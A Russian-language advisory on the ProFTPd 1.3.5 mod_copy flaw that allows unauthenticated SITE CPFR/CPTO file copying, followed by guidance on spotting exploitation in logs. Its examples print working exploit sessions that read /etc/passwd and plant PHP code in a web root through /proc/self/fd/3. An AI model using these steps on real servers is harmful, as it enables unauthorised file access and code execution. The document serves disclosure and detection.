Содержание
ProFTPd. Bug 4169 - Unauthenticated copying of files via SITE CPFR/CPTO allowed by mod_copy
Описание
В ProFTPd версии 1.3.5 была обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд «site cpfr» и «site cpto». Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy .
Сам баг исправлен 2015-05-28 , дополнительная информация доступна по ссылке:
Примеры использования
- Пример копирования файла /etc/passwd в /tmp/passwd.copy:
Trying 192.168.3.115... Connected to 192.168.3.115. Escape character is '^]'. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115] site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto /tmp/passwd.copy 250 Copy successful
- Пример организации запуска кода на web-сервере:
site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto <?php phpinfo(); ?> 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php 250 Copy successful
- Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied
Поиск следов использования
В конфигурационном файлу ProFTPd /etc/proftpd/proftpd.conf
указаны пользователь и группа, используемые для работы демона:
User proftpd Group nogroup
Если появились новые файлы, с владельцем и группой, аналогичными указанным в конфиге, то это уже повод заглянуть в логи.
В журнале ProFTPd будет зафиксировано открытие и закрытие сессии, без сообщений о подготовке домашней директории и факте успешной авторизации. Если злоумышленник пытался создать файл в каталоге с недостаточными правами доступа, то это так же будет зафиксировано в логах.
2016-04-07 12:12:05,409 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): FTP session opened. 2016-04-07 12:12:05,721 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): error opening destination file '/var/html/admin/infos.php' for copying: No such file or directory ... 2016-04-07 12:13:20,370 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): FTP session closed.